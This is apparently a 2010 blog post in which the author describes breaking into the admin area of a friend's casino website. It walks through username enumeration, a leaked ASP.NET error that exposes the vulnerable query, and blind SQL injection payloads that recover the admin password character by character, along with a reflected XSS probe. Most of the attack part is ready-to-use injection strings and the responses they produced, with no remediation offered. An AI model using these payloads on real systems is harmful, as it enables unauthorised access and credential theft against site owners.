Hacking a Casino!!

July 4, 2010 at 11:50 pm (.NET, Programming, Security, SQL, SQL Injection)

Hey,

So I was playing around with a friends website the other day and managed to break into the ‘admin’ area. I thought I should write a quick post to explain how I managed to do this.

First of all, I am not going to disclose the link to you all for obvious reasons so the link in the examples will actually be commented out. Anyway, a little about the website in question. It is a casino website that is written in mainly Flash with a little ASP.net relying on an MSSQL database. The main casino login was protected pretty well. I decided to fuzz for other directories and found the obvious one: /admin/. This was the login page to the backend of the casino, much more fun than the frontend login, at least that’s what I thought 🙂 So, onto the hack…

When you visit:

http://www.xxx.co.uk/admin/login.aspx

You are presented with a login page that simply has a Username and Password form with a login and reset button. Right underneath the login/reset buttons was a string that said “username not found” or “password not found”, depending on which was correct or not. This enabled me to test the SQL injection and see if my queries were true or false. My friends name was Nigel Davies, I tried a combination of usernames that I thought he would use and stumbled across: “nigel_d”. How did I know that this was the correct username? Well I first of all started entering usernames and passwords, not to try and guess them but to see how the form reacted to different inputs, I got the following when I entered an incorrect username:

“username not found”

No surprises there then, however when I tried the “nigel_d” username and a random password I was presented with:

“wrong password”

Bingo! We now know the username “nigel_d” is valid 🙂

I then went on to test for SQL injections, my first point of call was the normal:

Username: ‘
Password: ‘

And I received the following page back:

Server Error in ‘/’ Application.
Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.

Source Error:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark after the character string ”’.
Incorrect syntax near ”’.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +1950890
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +4846875
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +194
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +2392
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +33
System.Data.SqlClient.SqlDataReader.get_MetaData() +83
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +954
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +162
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +141
System.Data.SqlClient.SqlCommand.ExecuteReader() +89
ASP.admin_login_aspx.__Render__control1(HtmlTextWriter __w, Control parameterContainer) in e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx:31
System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +256
System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +19
System.Web.UI.Page.Render(HtmlTextWriter writer) +29
System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +27
System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +99
System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1266

Version Information: Microsoft .NET Framework Version:2.0.50727.3603; ASP.NET Version:2.0.50727.3082

Woohoo, look at all that juicy information! What have we got here then, the first interesting part is:

Line 29: con.Open()
Line 30: cmdSelect = New SqlCommand(“Select * From tb_CP_control where username= ‘” & username & “‘”, con)
Line 31: rd = cmdSelect.ExecuteReader()
Line 32: rd.Read()
Line 33: If rd.HasRows = True Then

This shows us the actual SQL statement being executed:

Select * From tb_CP_control where username= ‘” & username & “‘

This is almost certainly vulnerable to SQL injection attacks 🙂 The next interesting part is this:

Source File: e:\domains\c\xxx.co.uk\user\htdocs\admin\login.aspx Line: 31

Path disclosure. This tells me that it is a shared hosting environment because of the order of the path, domains, first letter of the domains, domain itself, so on and so forth. Also looking at the whois information for the domain shows it is registered and hosted with a fairly well known hosting company. That would be interesting if the scope of the test was the whole server itself.. however I am just playing with my friends website, so we will get back on track…

The problem we have here, is the Username field is vulnerable to SQL injection, however the Password field is not. So the only option I can think of, is to use the username field to bruteforce the password.. sounds good, let’s give it a try…

So let’s try bruteforcing the password then (I am using the FireFox plugin HackBar to aid me in this, so the SQL will be a copy and paste from what I enter in there):

user=’ or 1=1 and password like ‘a%’– &passwd=a

What happens here is we broaden the select statement to include all users with the (‘ or 1=1) meaning true, then we narrow the select statement so we only receive the ones with a password matching our pattern using the like statement. Like uses two different wild cards ‘_’ for single letters and ‘%’ for any strings (without the quotes).

So we are testing to see if any users passwords begin with ‘a’. We can now go through all characters a-zA-Z0-9 to find ones that match and that will make up our password. There is a way to speed things up here, such as using upper(password) and then passing ‘A%’ and &passwd=A. This then means we only have to go through characters A-Z0-9, which is a lot quicker. So moving on, after we enter the SQL statement above we get the following returned on the page:

“username not found”

Which means the letter a doesn’t match any users first character of their passwords. Let’s move onto the next character:

user=’ or 1=1 and upper(password) like ‘B%’– &passwd=B

Which gives us:

“username not found”

Still no characters matching 😦 moving on and leaving out a few to keep the post short:

user=’ or 1=1 and upper(password) like ‘N%’– &passwd=N

This gives us something slightly different:

“wrong password”

Now this means it matched the first character to a user’s password, however its incomplete so the wrong password message is displayed. Now we know that the first character of the password is an ‘n’. Onto the 2nd character of the password:

user=’ or 1=1 and upper(password) like ‘NA%’– &passwd=NA

Which in return gives us:

“username not found”

Now we just iterate through all the chracters until we get the “wrong password” string returned:

user=’ or 1=1 and upper(password) like ‘NI%’– &passwd=NI

Which gives us:

“wrong password”

Excellent, we now have the second character. We basically repeat this process until it logs us into the admin area. What happens is when you hit the end character of the password, the password is correct and when you execute the statement it logs you in, I managed to get into the admin area with the following statement:

user=’ or 1=1 and password like ‘niggle%’– &passwd=niggle

So it turns out his password was ‘niggle’ 🙂 When I was doing this, I noticed something pretty bad about the way the message was displayed on the page (when you got either “wrong username” or “wrong password”) take a look at the URL that you get when it returns these strings:

http://www.xxx.co.uk/admin/index.asp?msg=wrong%20password

I smell, XSS… let’s give it a whirl 🙂

http://www.xxx.co.uk/admin/index.asp?msg=%22zoidberg%20pwnz%20j00%22

And low and behold, “zoidberg pwnz j00” gets returned as the string on the page, haha. Returning to the SQL injection, here are a few more tricks to speed things up, if you wanna guess the password as a whole string you could use the following method:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘abc’ ) = 1 — &passwd=test

Which returns:

“username not found”

Because the password doesn’t match, however, if we try characters from the real password:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,3) = ‘nig’ ) = 1 — &passwd=test

We get:

“wrong password”

Excellent, so we can test it with this:

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,5) = ‘niggl’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘niggle’ ) = 1 — &passwd=test

“wrong password”

user=fake_user’ OR (SELECT 1 From tb_CP_control where SUBSTRING(password,1,6) = ‘nigglea’ ) = 1 — &passwd=test

“username not found”

So as you can see that definatley confirms that ‘niggle’ is the password. Also a quick way to check the password length before doing the bruteforce so you know how many characters there are is:

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 1 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 2 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 5 –&passwd=test

“username not found”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 6 –&passwd=test

“wrong password”

user=fake_user’ OR (SELECT LEN(password) From tb_CP_control ) = 7 –&passwd=test

“username not found”

So as you can see from the above statements 5 is false, 6 is true and 7 is false, meaning the password length is 6 characters long, which ties in with the password being ‘niggle’.

I had a lot of fun playing around with this site, hope it helps someone out. Until the next time…

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: